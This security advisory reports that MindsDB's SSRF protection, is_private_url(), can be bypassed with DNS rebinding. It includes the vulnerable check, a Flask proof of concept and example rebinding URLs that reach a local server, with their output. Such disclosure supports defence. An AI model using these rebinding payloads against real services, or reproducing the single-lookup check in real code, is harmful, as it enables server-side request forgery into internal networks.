Summary

MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding

Details

Summary

DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:

```python def is_private_url(url: str): """ Raises exception if url is private

:param url: url to check
"""

hostname = urlparse(url).hostname
if not hostname:
    # Unable to find hostname in url
    return True
ip = socket.gethostbyname(hostname)
return ipaddress.ip_address(ip).is_private

```

As you can see, during the call to is_private_url() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.

PoC

```python from flask import Flask, request, jsonify from urllib.parse import urlparse import socket import ipaddress import requests

app = Flask(name)

def is_private_url(url: str): """ Raises exception if url is private

:param url: url to check
"""

hostname = urlparse(url).hostname
if not hostname:
    # Unable to find hostname in url
    return True
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
    raise Exception(f"Private IP address found for {url}")

@app.route("/", methods=["GET"]) def index(): return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"

@app.route("/check_private_url", methods=["GET"]) def check_private_url(): url = request.args.get("url")

if not url:
    return jsonify({"error": 'Missing "url" parameter'}), 400

try:
    is_private_url(url)
    response = requests.get(url)

    return jsonify(
        {
            "url": url,
            "is_private": False,
            "text": response.text,
            "status_code": response.status_code,
        }
    )
except Exception as e:
    return jsonify({"url": url, "is_private": True, "error": str(e)})

if name == "main": app.run(debug=True)

```

After running the poc.py with flask installed, consider visiting the following URLs:

http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get is_private: false and the GET request would be issued to the www.Example.com website.
http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get is_private: true
http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP 190.119.176.214 and then DNS rebind into the network location 127.0.0.1:8667.

I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:

``` { "is_private": false, "status_code": 200, "text": "

\npoc.py\n

\n", "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/" }

```

Impact

Bypass the SSRF protection on the whole website with DNS Rebinding.
DoS too.
